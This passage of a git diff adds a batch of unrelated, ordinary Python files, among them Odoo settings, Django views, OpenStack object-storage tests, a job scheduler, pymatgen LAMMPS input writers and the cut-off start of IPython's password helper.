space, origin, cube_dimension, material): + self._origin = np.copy(origin) + self._space = space + self._views = [] + self._material = material + + polygons = space.cube(self._origin, cube_dimension, material, True) + for p in polygons: + self._views.append(View(self._origin, p)) + + def search(self, show_projections=False): + sources = [] + + for it in range(0,5): + resolved = [] + + while len(self._views) > 0: + v = self._views.pop(0) + resolved += v.search(self._space.polygons) + + while len(resolved) > 0: + v = resolved.pop(0) + + material = v.region.target.material + + if material.is_source(): + if show_projections: + v.show_history(self._space) + sources.append(v.copy()) + + if material.is_refractive(): + tv, rv = v.refract_view() + #self._space.cube(rv.region.origin, 0.1, self._material, True) + self._views.append(tv) # through-view + self._views.append(rv) # refracted view + elif material.is_reflective(): + self._views.append(v.reflect_view()) + + print("Sources total: " + str(len(sources))) diff --git a/pool/shard000/Python/0008292_res_config.py b/pool/shard000/Python/0008292_res_config.py new file mode 100644 index 0000000000000000000000000000000000000000..d4e21bb4f47aad7459d48d3ea2f427cc36f9b175 --- /dev/null +++ b/pool/shard000/Python/0008292_res_config.py @@ -0,0 +1,54 @@ +# -*- coding: utf-8 -*- +############################################################################## +# +# Copyright (C) 2016 Pambudi Satria (). +# @author Pambudi Satria +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## + +from openerp import models, fields, api + +class SaleConfigSettings(models.TransientModel): + _inherit = 'sale.config.settings' + + interval_cust_churn_number = fields.Integer(string='Interval Churn Number', default=14) + interval_cust_churn_type = fields.Selection(selection=[ + ('days', 'Day(s)'), + ('weeks', 'Week(s)'), + ('months', 'Month(s)'), + ], string='Interval Churn Type', default='days', required=True) + + @api.model + def get_default_interval_cust_churn_values(self, fields): + company = self.env.user.company_id + return { + 'interval_cust_churn_number': company.interval_cust_churn_number, + 'interval_cust_churn_type': company.interval_cust_churn_type, + } + + @api.one + def set_interval_cust_churn_values(self): + company = self.env.user.company_id + company.interval_cust_churn_number = self.interval_cust_churn_number + company.interval_cust_churn_type = self.interval_cust_churn_type + + @api.onchange('interval_cust_churn_number') + def onchange_interval_cust_churn_number(self): + if self.interval_cust_churn_number <= 0: + self.interval_cust_churn_number = 14 + self.interval_cust_churn_type = 'days' + +# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: diff --git a/pool/shard000/Python/0008295_edt_envoyer.py b/pool/shard000/Python/0008295_edt_envoyer.py new file mode 100644 index 0000000000000000000000000000000000000000..395907075056c9e06121f0f336e7a842057d159f --- /dev/null +++ b/pool/shard000/Python/0008295_edt_envoyer.py @@ -0,0 +1,54 @@ +# -*-coding:Utf-8 -* + +# Copyright (c) 2010-2017 LE GOFF Vincent +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# * Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software +# without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. + + +"""Fichier contenant le contexte éditeur EdtEnvoyer.""" + +from primaires.format.fonctions import format_nb +from primaires.interpreteur.editeur import Editeur + +class EdtEnvoyer(Editeur): + + """Classe définissant le contexte éditeur 'envoyer'. + + Ce contexte permet d'envoyer une news letter. + + """ + + def __init__(self, pere, objet=None, attribut=None): + """Constructeur de l'éditeur""" + Editeur.__init__(self, pere, objet, attribut) + + def entrer(self): + newsletter = self.objet + nb_envoi = newsletter.envoyer() + msg = format_nb(nb_envoi, "{nb} messages envoyés.") + msg = msg.capitalize() + self.fermer() + self.pere << "|att|{}|ff|".format(msg) diff --git a/pool/shard000/Python/0008297_views.py b/pool/shard000/Python/0008297_views.py new file mode 100644 index 0000000000000000000000000000000000000000..7f1b41e8886c16c72e6239a33bdb42647f67726d --- /dev/null +++ b/pool/shard000/Python/0008297_views.py @@ -0,0 +1,32 @@ +from django.shortcuts import render +from django.http import HttpResponse + +from django.template import RequestContext +from django.shortcuts import render_to_response + +# Create your views here. +def index(request): + context = RequestContext(request) + context_dict = {} + + return render_to_response('index.html', context_dict, context) +def claim(request): + context = RequestContext(request) + context_dict = {} + + return render_to_response('claim.html', context_dict, context) +def action(request): + context = RequestContext(request) + context_dict = {} + + return render_to_response('action.html', context_dict, context) +def alias(request): + context = RequestContext(request) + context_dict = {} + + return render_to_response('alias.html', context_dict, context) +def people(request): + context = RequestContext(request) + context_dict = {} + + return render_to_response('people.html', context_dict, context) diff --git a/pool/shard000/Python/0008298_test_object_slo.py b/pool/shard000/Python/0008298_test_object_slo.py new file mode 100644 index 0000000000000000000000000000000000000000..afec1ef9cd7b278dd52a62d59bf4e4cac08ceb18 --- /dev/null +++ b/pool/shard000/Python/0008298_test_object_slo.py @@ -0,0 +1,189 @@ +# Copyright 2013 NTT Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import hashlib +import json + +from tempest_lib.common.utils import data_utils +from tempest_lib import exceptions as lib_exc + +from tempest.api.object_storage import base +from tempest.common import custom_matchers +from tempest import test +from tempest_lib import decorators + +# Each segment, except for the final one, must be at least 1 megabyte +MIN_SEGMENT_SIZE = 1024 * 1024 + + +class ObjectSloTest(base.BaseObjectTest): + + def setUp(self): + super(ObjectSloTest, self).setUp() + self.container_name = data_utils.rand_name(name='TestContainer') + self.container_client.create_container(self.container_name) + self.objects = [] + + def tearDown(self): + for obj in self.objects: + try: + self.object_client.delete_object( + self.container_name, + obj) + except lib_exc.NotFound: + pass + self.container_client.delete_container(self.container_name) + super(ObjectSloTest, self).tearDown() + + def _create_object(self, container_name, object_name, data, params=None): + resp, _ = self.object_client.create_object(container_name, + object_name, + data, + params) + self.objects.append(object_name) + + return resp + + def _create_manifest(self): + # Create a manifest file for SLO uploading + object_name = data_utils.rand_name(name='TestObject') + object_name_base_1 = object_name + '_01' + object_name_base_2 = object_name + '_02' + data_size = MIN_SEGMENT_SIZE + self.content = data_utils.arbitrary_string(data_size) + self._create_object(self.container_name, + object_name_base_1, + self.content) + self._create_object(self.container_name, + object_name_base_2, + self.content) + + path_object_1 = '/%s/%s' % (self.container_name, + object_name_base_1) + path_object_2 = '/%s/%s' % (self.container_name, + object_name_base_2) + data_manifest = [{'path': path_object_1, + 'etag': hashlib.md5(self.content).hexdigest(), + 'size_bytes': data_size}, + {'path': path_object_2, + 'etag': hashlib.md5(self.content).hexdigest(), + 'size_bytes': data_size}] + + return json.dumps(data_manifest) + + def _create_large_object(self): + # Create a large object for preparation of testing various SLO + # features + manifest = self._create_manifest() + + params = {'multipart-manifest': 'put'} + object_name = data_utils.rand_name(name='TestObject') + self._create_object(self.container_name, + object_name, + manifest, + params) + return object_name + + def _assertHeadersSLO(self, resp, method): + # When sending GET or HEAD requests to SLO the response contains + # 'X-Static-Large-Object' header + if method in ('GET', 'HEAD'): + self.assertIn('x-static-large-object', resp) + self.assertEqual(resp['x-static-large-object'], 'True') + + # Etag value of a large object is enclosed in double-quotations. + # After etag quotes are checked they are removed and the response is + # checked if all common headers are present and well formatted + self.assertTrue(resp['etag'].startswith('\"')) + self.assertTrue(resp['etag'].endswith('\"')) + resp['etag'] = resp['etag'].strip('"') + self.assertHeaders(resp, 'Object', method) + + @decorators.skip_because(bug="1417497") + @test.attr(type='gate') + @test.idempotent_id('2c3f24a6-36e8-4711-9aa2-800ee1fc7b5b') + @test.requires_ext(extension='slo', service='object') + def test_upload_manifest(self): + # create static large object from multipart manifest + manifest = self._create_manifest() + + params = {'multipart-manifest': 'put'} + object_name = data_utils.rand_name(name='TestObject') + resp = self._create_object(self.container_name, + object_name, + manifest, + params) + + self._assertHeadersSLO(resp, 'PUT') + + @decorators.skip_because(bug="1417497") + @test.attr(type='gate') + @test.idempotent_id('e69ad766-e1aa-44a2-bdd2-bf62c09c1456') + @test.requires_ext(extension='slo', service='object') + def test_list_large_object_metadata(self): + # list static large object metadata using multipart manifest + object_name = self._create_large_object() + + resp, body = self.object_client.list_object_metadata( + self.container_name, + object_name) + + self._assertHeadersSLO(resp, 'HEAD') + + @decorators.skip_because(bug="1417497") + @test.attr(type='gate') + @test.idempotent_id('49bc49bc-dd1b-4c0f-904e-d9f10b830ee8') + @test.requires_ext(extension='slo', service='object') + def test_retrieve_large_object(self): + # list static large object using multipart manifest + object_name = self._create_large_object() + + resp, body = self.object_client.get_object( + self.container_name, + object_name) + + self._assertHeadersSLO(resp, 'GET') + + sum_data = self.content + self.content + self.assertEqual(body, sum_data) + + @decorators.skip_because(bug="1417497") + @test.attr(type='gate') + @test.idempotent_id('87b6dfa1-abe9-404d-8bf0-6c3751e6aa77') + @test.requires_ext(extension='slo', service='object') + def test_delete_large_object(self): + # delete static large object using multipart manifest + object_name = self._create_large_object() + + params_del = {'multipart-manifest': 'delete'} + resp, body = self.object_client.delete_object( + self.container_name, + object_name, + params=params_del) + + # When deleting SLO using multipart manifest, the response contains + # not 'content-length' but 'transfer-encoding' header. This is the + # special case, therefore the existence of response headers is checked + # outside of custom matcher. + self.assertIn('transfer-encoding', resp) + self.assertIn('content-type', resp) + self.assertIn('x-trans-id', resp) + self.assertIn('date', resp) + + # Check only the format of common headers with custom matcher + self.assertThat(resp, custom_matchers.AreAllWellFormatted()) + + resp, body = self.container_client.list_container_contents( + self.container_name) + self.assertEqual(int(resp['x-container-object-count']), 0) diff --git a/pool/shard000/Python/0008301_threaded_scheduler.py b/pool/shard000/Python/0008301_threaded_scheduler.py new file mode 100644 index 0000000000000000000000000000000000000000..921c088ee8a30e9fff434966ea8216d50b7b5b22 --- /dev/null +++ b/pool/shard000/Python/0008301_threaded_scheduler.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +''' +For jobs that take longer to run it is not recommended to run them +''' + +import datetime +import threading +import time +import schedule +import queue + + +def check_password_policy(**kwargs): + startTime = datetime.datetime.now() + print("[%s] passwd policy check %s" % (startTime, threading.current_thread())) + time.sleep(3) + endTime = datetime.datetime.now() + diff = endTime - startTime + print("check password policy took: %d" % (diff.total_seconds())) + + +def check_iam_roles(**kwargs): + curTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + print("[%s] IAM roles check %s" % (curTime, threading.current_thread())) + for x in range(10000): + pass + time.sleep(7) + curTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + print("[%s] IAM roles check complete %s" % (curTime, threading.current_thread())) + + +def check_trustedadvisor_limits(**kwargs): + curTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + print("[%s] Checking TA limits %s" % (curTime, threading.current_thread())) + time.sleep(20) + curTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + print("[%s] Checking TA limits complete %s" % (curTime, threading.current_thread())) + +def wrapper_function(jobFunction, **kwargs): + startTime = datetime.datetime.now() + print("Wrapper start") + jobFunction(**kwargs) + print("Wrapper end") + endTime = datetime.datetime.now() + elapsedSeconds = (endTime - startTime).total_seconds() + print("Thread %s elapsed time: %d" % (jobFunction, elapsedSeconds)) + + +def run_threaded(job_func, **options): + print("Run threaded --> start") + job_thread = threading.Thread(target=wrapper_function, args=[job_func], kwargs=options) + job_thread.start() + print("Run threaded --> End") + + +def main(): + options = {} + options['queue'] = queue.Queue() + + schedule.every(10).seconds.do(run_threaded, check_iam_roles, **options) + schedule.every(15).seconds.do(run_threaded, check_trustedadvisor_limits, **options) + schedule.every(20).seconds.do(run_threaded, check_password_policy, **options) + + print("-------------------------------") + for job in schedule.get_jobs(): + print("Job info: %s [%s] [%s]" %(job.job_func.args, job.last_run, job.next_run)) + print("-------------------------------") + + count = 0 + for x in range(80): + schedule.run_pending() + time.sleep(2) + + #if count == 5: + # print("Add trusted advisor check to schedule") + # schedule.every(10).seconds.do(run_threaded, check_trustedadvisor_limits) + + #if count == 9: + # print("Add check password policy") + # schedule.every(10).seconds.do(run_threaded, check_password_policy) + + + #if count % 8 == 0: + # print("-------------------------") + # for job in schedule.jobs: + # print("Job info: %s [%s] [%s]" %(job.job_func.args, job.last_run, job.next_run)) + # print("-------------------------") + #count += 1 + + +if __name__ == '__main__': + main() diff --git a/pool/shard000/Python/0008303_test_eks.py b/pool/shard000/Python/0008303_test_eks.py new file mode 100644 index 0000000000000000000000000000000000000000..3d7082a2c6d66cb27765161256b85705b0654fb0 --- /dev/null +++ b/pool/shard000/Python/0008303_test_eks.py @@ -0,0 +1,59 @@ +import unittest + +import troposphere.eks as eks + + +class TestEKSValidators(unittest.TestCase): + def test_validate_taint_effect(self): + valid_values = ["NO_EXECUTE", "NO_SCHEDULE", "PREFER_NO_SCHEDULE"] + for x in valid_values: + eks.validate_taint_effect(x) + + with self.assertRaises(ValueError): + eks.validate_taint_effect("NOT_OK") + + def test_validate_taint_key(self): + valid_values = ["OK", "O", "o" * 63] + for x in valid_values: + eks.validate_taint_key(x) + + invalid_values = ["", "o" * 64] + for x in invalid_values: + with self.assertRaises(ValueError): + eks.validate_taint_key(x) + + def test_validate_taint_value(self): + valid_values = ["", "O", "o" * 63] + for x in valid_values: + eks.validate_taint_value(x) + + invalid_values = ["o" * 64] + for x in invalid_values: + with self.assertRaises(ValueError): + eks.validate_taint_value(x) + + def test_cluster_logging(self): + logging = eks.ClusterLogging( + EnabledTypes=[ + eks.LoggingTypeConfig(Type="scheduler"), + eks.LoggingTypeConfig(Type="api"), + ], + ) + logging.validate() + + with self.assertRaises(TypeError): + logging = eks.ClusterLogging( + EnabledTypes=[ + "enable", + eks.LoggingTypeConfig(Type="api"), + ], + ) + + with self.assertRaises(ValueError): + logging = eks.ClusterLogging( + EnabledTypes=[ + eks.LoggingTypeConfig(Type="foobar"), + eks.LoggingTypeConfig(Type="api"), + ], + ) + logging.validate() diff --git a/pool/shard000/Python/0008308_setup.py b/pool/shard000/Python/0008308_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..7842ed78cd91c7e842199f6199fa08db3e930256 --- /dev/null +++ b/pool/shard000/Python/0008308_setup.py @@ -0,0 +1,83 @@ +from setuptools import setup +from setuptools import setup, find_packages, Extension +from setuptools.command.test import test as TestCommand +import sys, io, os, glob + +module1 = Extension('pylw.qs_parse', sources = ['pylw/qs_parse.c']) +module2 = Extension('pylw.route_find', sources = ['pylw/route_find.c']) + +class PyTest(TestCommand): + def finalize_options(self): + TestCommand.finalize_options(self) + self.test_args = [] + self.test_suite = True + + def run_tests(self): + import pytest + errcode = pytest.main(self.test_args) + sys.exit(errcode) + +#Cython Support +try: + from Cython.Distutils import build_ext + CYTHON = True +except ImportError: + CYTHON = False + +if CYTHON: + def list_modules(dirname): + filenames = glob.glob(os.path.join(dirname, '*.py')) + + module_names = [] + for name in filenames: + module, ext = os.path.splitext(os.path.basename(name)) + if module != '__init__': + module_names.append(module) + + return module_names + + ext_modules = [ + Extension('pylw.' + ext, [os.path.join('pylw', ext + '.py')]) + for ext in list_modules(os.path.join('.', 'pylw'))] + + ext_modules.append(module1) + ext_modules.append(module2) + + cmdclass = {'build_ext': build_ext, 'test': PyTest} + +else: + cmdclass = {'test': PyTest} + ext_modules = [module1, module2] + +setup(name='pylw', + version='0.1', + description='The Python Lightweight Web Framework', + long_description=io.open('README.rst', 'r', encoding='utf-8').read(), + classifiers=[ + 'Development Status :: 4 - Beta', + 'Environment :: Web Environment', + 'Natural Language :: English', + 'Intended Audience :: Developers', + 'Intended Audience :: System Administrators', + 'License :: OSI Approved :: Apache Software License', + 'Operating System :: MacOS :: MacOS X', + 'Operating System :: Microsoft :: Windows', + 'Operating System :: POSIX', + 'Topic :: Internet :: WWW/HTTP :: WSGI', + 'Topic :: Software Development :: Libraries :: Application Frameworks', + 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', + 'Programming Language :: Python', + 'Programming Language :: Python :: Implementation :: CPython', + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: C', + ], + url='http://github.com/michaelgugino/pylw', + author='Michael Gugino', + author_email='mike@funwithlinux.net', + tests_require=['pytest'], + cmdclass=cmdclass, + license='Apache', + packages=['pylw'], + ext_modules = ext_modules, + zip_safe=False) diff --git a/pool/shard000/Python/0008315_inputs.py b/pool/shard000/Python/0008315_inputs.py new file mode 100644 index 0000000000000000000000000000000000000000..fb94201de0007d52f6f5209e78264ddfef58d4a2 --- /dev/null +++ b/pool/shard000/Python/0008315_inputs.py @@ -0,0 +1,210 @@ +# coding: utf-8 +# Copyright (c) Pymatgen Development Team. +# Distributed under the terms of the MIT License. + +""" +This module implements methods for writing LAMMPS input files. +""" + + +import os +import re +import shutil +import warnings +from string import Template + +from monty.json import MSONable + +from pymatgen.io.lammps.data import LammpsData + +__author__ = "Kiran Mathew, Brandon Wood, Zhi Deng" +__copyright__ = "Copyright 2018, The Materials Virtual Lab" +__version__ = "1.0" +__maintainer__ = "Zhi Deng" +__email__ = "z4deng@eng.ucsd.edu" +__date__ = "Aug 1, 2018" + + +class LammpsRun(MSONable): + """ + Examples for various simple LAMMPS runs with given simulation box, + force field and a few more settings. Experience LAMMPS users should + consider using write_lammps_inputs method with more sophisticated + templates. + + """ + + template_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "templates") + + def __init__(self, script_template, settings, data, script_filename): + """ + Base constructor. + + Args: + script_template (str): String template for input script + with placeholders. The format for placeholders has to + be '$variable_name', e.g., '$temperature' + settings (dict): Contains values to be written to the + placeholders, e.g., {'temperature': 1}. + data (LammpsData or str): Data file as a LammpsData + instance or path to an existing data file. Default to + None, i.e., no data file supplied. Useful only when + read_data cmd is in the script. + script_filename (str): Filename for the input script. + + """ + self.script_template = script_template + self.settings = settings + self.data = data + self.script_filename = script_filename + + def write_inputs(self, output_dir, **kwargs): + """ + Writes all input files (input script, and data if needed). + Other supporting files are not handled at this moment. + + Args: + output_dir (str): Directory to output the input files. + **kwargs: kwargs supported by LammpsData.write_file. + + """ + write_lammps_inputs( + output_dir=output_dir, + script_template=self.script_template, + settings=self.settings, + data=self.data, + script_filename=self.script_filename, + **kwargs, + ) + + @classmethod + def md(cls, data, force_field, temperature, nsteps, other_settings=None): + r""" + Example for a simple MD run based on template md.txt. + + Args: + data (LammpsData or str): Data file as a LammpsData + instance or path to an existing data file. + force_field (str): Combined force field related cmds. For + example, 'pair_style eam\npair_coeff * * Cu_u3.eam'. + temperature (float): Simulation temperature. + nsteps (int): No. of steps to run. + other_settings (dict): other settings to be filled into + placeholders. + + """ + template_path = os.path.join(cls.template_dir, "md.txt") + with open(template_path) as f: + script_template = f.read() + settings = other_settings.copy() if other_settings is not None else {} + settings.update({"force_field": force_field, "temperature": temperature, "nsteps": nsteps}) + script_filename = "in.md" + return cls( + script_template=script_template, + settings=settings, + data=data, + script_filename=script_filename, + ) + + +def write_lammps_inputs( + output_dir, + script_template, + settings=None, + data=None, + script_filename="in.lammps", + make_dir_if_not_present=True, + **kwargs, +): + """ + Writes input files for a LAMMPS run. Input script is constructed + from a str template with placeholders to be filled by custom + settings. Data file is either written from a LammpsData + instance or copied from an existing file if read_data cmd is + inspected in the input script. Other supporting files are not + handled at the moment. + + Args: + output_dir (str): Directory to output the input files. + script_template (str): String template for input script with + placeholders. The format for placeholders has to be + '$variable_name', e.g., '$temperature' + settings (dict): Contains values to be written to the + placeholders, e.g., {'temperature': 1}. Default to None. + data (LammpsData or str): Data file as a LammpsData instance or + path to an existing data file. Default to None, i.e., no + data file supplied. Useful only when read_data cmd is in + the script. + script_filename (str): Filename for the input script. + make_dir_if_not_present (bool): Set to True if you want the + directory (and the whole path) to be created if it is not + present. + **kwargs: kwargs supported by LammpsData.write_file. + + Examples: + >>> eam_template = '''units metal + ... atom_style atomic + ... + ... lattice fcc 3.615 + ... region box block 0 20 0 20 0 20 + ... create_box 1 box + ... create_atoms 1 box + ... + ... pair_style eam + ... pair_coeff 1 1 Cu_u3.eam + ... + ... velocity all create $temperature 376847 loop geom + ... + ... neighbor 1.0 bin + ... neigh_modify delay 5 every 1 + ... + ... fix 1 all nvt temp $temperature $temperature 0.1 + ... + ... timestep 0.005 + ... + ... run $nsteps''' + >>> write_lammps_inputs('.', eam_template, settings={'temperature': 1600.0, 'nsteps': 100}) + >>> with open('in.lammps') as f: + ... script = f.read() + ... + >>> print(script) + units metal + atom_style atomic + + lattice fcc 3.615 + region box block 0 20 0 20 0 20 + create_box 1 box + create_atoms 1 box + + pair_style eam + pair_coeff 1 1 Cu_u3.eam + + velocity all create 1600.0 376847 loop geom + + neighbor 1.0 bin + neigh_modify delay 5 every 1 + + fix 1 all nvt temp 1600.0 1600.0 0.1 + + timestep 0.005 + + run 100 + + + """ + variables = {} if settings is None else settings + template = Template(script_template) + input_script = template.safe_substitute(**variables) + if make_dir_if_not_present and not os.path.exists(output_dir): + os.makedirs(output_dir) + with open(os.path.join(output_dir, script_filename), "w") as f: + f.write(input_script) + read_data = re.search(r"read_data\s+(.*)\n", input_script) + if read_data: + data_filename = read_data.group(1).split()[0] + if isinstance(data, LammpsData): + data.write_file(os.path.join(output_dir, data_filename), **kwargs) + elif isinstance(data, str) and os.path.exists(data): + shutil.copyfile(data, os.path.join(output_dir, data_filename)) + else: + warnings.warn("No data file supplied. Skip writing %s." % data_filename) diff --git a/pool/shard000/Python/0008322_csv2roster.py b/pool/shard000/Python/0008322_csv2roster.py new file mode 100644 index 0000000000000000000000000000000000000000..9666ed5267647d8d4c40487ce6e5cca266ce4957 --- /dev/null +++ b/pool/shard000/Python/0008322_csv2roster.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +#------------------------------------------------------------------------------ +# File: csv2roster.py +# Purpose: converts a CSV file of guild members into a straight text file +# of names +# Author: Jim Storch +# Revised: +# License: GPLv3 see LICENSE.TXT +#------------------------------------------------------------------------------ + +import csv +from optparse import OptionParser +import sys +import os + +from tokp_lib.roster import get_roster_csv +from tokp_lib.roster import write_roster_text + +VERSION = '.001 (pre-alpha)' + +#--[ Option Juggling ]--------------------------------------------------------- + +## Options +usage = "usage: %prog [options]" +parser = OptionParser(usage=usage) +parser.add_option('-i','--infile', dest='infile', + default='roster/ToK Roster.csv', + help="Name of the CSV roster file. Default is 'roster/ToK Roster.csv'") +parser.add_option('-o','--outfile', dest='outfile', + default='roster/roster.txt', + help="Name of the roster text file to create. "+ + "Default is 'roster/roster.txt'") +parser.add_option('-y','--yes', action="store_true", dest="overwrite", + default=False, help="OK to overwrite existing roster file.") +parser.add_option('-v','--version', action="store_true", dest="version", + default=False, help="Show program version number and exit.") + +(options, args) = parser.parse_args() + +if options.version: + print "Version number is", VERSION + sys.exit() + +if not os.path.exists(options.infile) or not os.path.isfile(options.infile): + print "[error] CSV file '%s' is not readible." % options.infile + sys.exit() + +if not options.overwrite and os.path.exists(options.outfile): + print "[error] '%s' already exist. Use '-y' to overwrite." \ + % options.outfile + sys.exit() + +# read in the contents of the CSV file +roster = get_roster_csv(options.infile) + +# write out a plain text file with one name per line +write_roster_text(roster,options.outfile) + + + + diff --git a/pool/shard000/Python/0008327_logutil.py b/pool/shard000/Python/0008327_logutil.py new file mode 100644 index 0000000000000000000000000000000000000000..0e523fe62aed0a1e579a0ac7c21c4360aafbd493 --- /dev/null +++ b/pool/shard000/Python/0008327_logutil.py @@ -0,0 +1,55 @@ +import logging + + +class LogLevelChanger(object): + """Log level changer for with-statements. + + This class temporarily changes a log level of the specified logger in a `with` statement. + You can get the logger by `as` clause. + + Usage:: + >>> logger = logging.getLogger('test') + >>> logger.setLevel(logging.INFO) + >>> with LogLevelChanger(logging.DEBUG, logger): + ... assert logger.level == logging.DEBUG + ... + >>> assert logger.level == logging.INFO + """ + + def __init__(self, level, logger): + self.logger = logger + self.level = level + + def __enter__(self): + self._orig_level = self.logger.level + self.logger.setLevel(self.level) + return self.logger + + def __exit__(self, *args): + self.logger.setLevel(self._orig_level) + + +def log_level(level=None, logger=None): + """Change log level. + + This class temporarily changes a log level of the specified logger in a `with` statement. + You can get the logger by `as` clause. + + Usage:: + >>> with log_level(logging.DEBUG) as logger: + ... assert logger.level == logging.DEBUG + ... + >>> assert logger.level == logging.WARNING + """ + + if logger is not None: + logger_ = logger + else: + logger_ = logging.getLogger() + + if level is not None: + level_ = level + else: + level_ = logger_.level + + return LogLevelChanger(level_, logger_) diff --git a/pool/shard000/Python/0008329_wps_subset_points.py b/pool/shard000/Python/0008329_wps_subset_points.py new file mode 100644 index 0000000000000000000000000000000000000000..7ae239b4a06c84937976f13fb99d0a0a65a68e99 --- /dev/null +++ b/pool/shard000/Python/0008329_wps_subset_points.py @@ -0,0 +1,102 @@ +from flyingpigeon.utils import sort_by_filename +from pywps.Process import WPSProcess + +import logging +logger = logging.getLogger(__name__) + + +class SubsetPointsProcess(WPSProcess): + + def __init__(self): + WPSProcess.__init__( + self, + identifier="subset_points", + title="Subset Points", + version="0.9", + metadata=[ + {"title": "LSCE", "href": "http://www.lsce.ipsl.fr/en/index.php"}, + {"title": "Documentation", "href": "http://flyingpigeon.readthedocs.io/en/latest/"}, + ], + abstract="Extract timeseries for specified coordinates from gridded datasets", + statusSupported=True, + storeSupported=True + ) + + self.resource = self.addComplexInput( + identifier="resource", + title="NetCDF File", + abstract="NetCDF File", + minOccurs=1, + maxOccurs=1000, + maxmegabites=5000, + formats=[{"mimeType": "application/x-netcdf"}], + ) + + self.coords = self.addLiteralInput( + identifier="coords", + title="Coordinates", + abstract="a comma-seperated tuple of WGS85 lon,lat decimal coordinates", + default="2.356138, 48.846450", + type=type(''), + minOccurs=1, + maxOccurs=100, + ) + + self.tarout = self.addComplexOutput( + identifier="tarout", + title="Tarfile", + abstract="tar archive containing the value tables", + formats=[{"mimeType": "application/x-tar"}], + asReference=True, + ) + + def execute(self): + from flyingpigeon.ocgis_module import call + from flyingpigeon.utils import sort_by_filename, archive, get_values, get_time + + ncs = self.getInputValues(identifier='resource') + logger.info("ncs: %s " % ncs) + coords = self.getInputValues(identifier='coords') + logger.info("coords %s", coords) + filenames = [] + nc_exp = sort_by_filename(ncs, historical_concatination=True) + + from numpy import savetxt, column_stack + from shapely.geometry import Point + + for key in nc_exp.keys(): + try: + logger.info('start calculation for %s ' % key) + ncs = nc_exp[key] + times = get_time(ncs, format='%Y-%m-%d_%H:%M:%S') + concat_vals = times # ['%s-%02d-%02d_%02d:%02d:%02d' % + # (t.year, t.month, t.day, t.hour, t.minute, t.second) for t in times] + header = 'date_time' + filename = '%s.csv' % key + filenames.append(filename) + + for p in coords: + try: + self.status.set('processing point : {0}'.format(p), 20) + # define the point: + p = p.split(',') + point = Point(float(p[0]), float(p[1])) + + # get the values + timeseries = call(resource=ncs, geom=point, select_nearest=True) + vals = get_values(timeseries) + + # concatenation of values + header = header + ',%s-%s' % (p[0], p[1]) + concat_vals = column_stack([concat_vals, vals]) + except Exception as e: + logger.debug('failed for point %s %s' % (p, e)) + self.status.set('*** all points processed for {0} ****'.format(key), 50) + savetxt(filename, concat_vals, fmt='%s', delimiter=',', header=header) + except Exception as e: + logger.debug('failed for %s %s' % (key, e)) + + # set the outputs + self.status.set('*** creating output tar archive ****', 90) + tarout_file = archive(filenames) + self.tarout.setValue(tarout_file) diff --git a/pool/shard000/Python/0008332_security.py b/pool/shard000/Python/0008332_security.py new file mode 100644 index 0000000000000000000000000000000000000000..8998fb24fef2ae0035d3aeea4d1f234647a853d4 --- /dev/null +++ b/pool/shard000/Python/0008332_security.py @@ -0,0 +1,117 @@ +""" +Password generation for the IPython notebook. +""" +#----------------------------------------------------------------------------- +# Imports +#----------------------------------------------------------------------------- +# Stdlib +import getpass +import hashlib +import random + +# Our own +from IPython.core.error import UsageError +from IPython.testing.skipdoctest import skip_doctest +from IPython.utils.py3compat import cast_bytes, str_to_bytes + +#----------------------------------------------------------------------------- +# Globals +#----------------------------------------------------------------------------- + +# Length of the salt in nr of hex chars, which implies salt_len * 4 +# bits of randomness. +salt_len = 12 + +#----------------------------------------------------------------------------- +# Functions +#----------------------------------------------------------------------------- + + +@skip_doctest +def passwd(passphrase=None, algorithm='sha1'): + """Generate 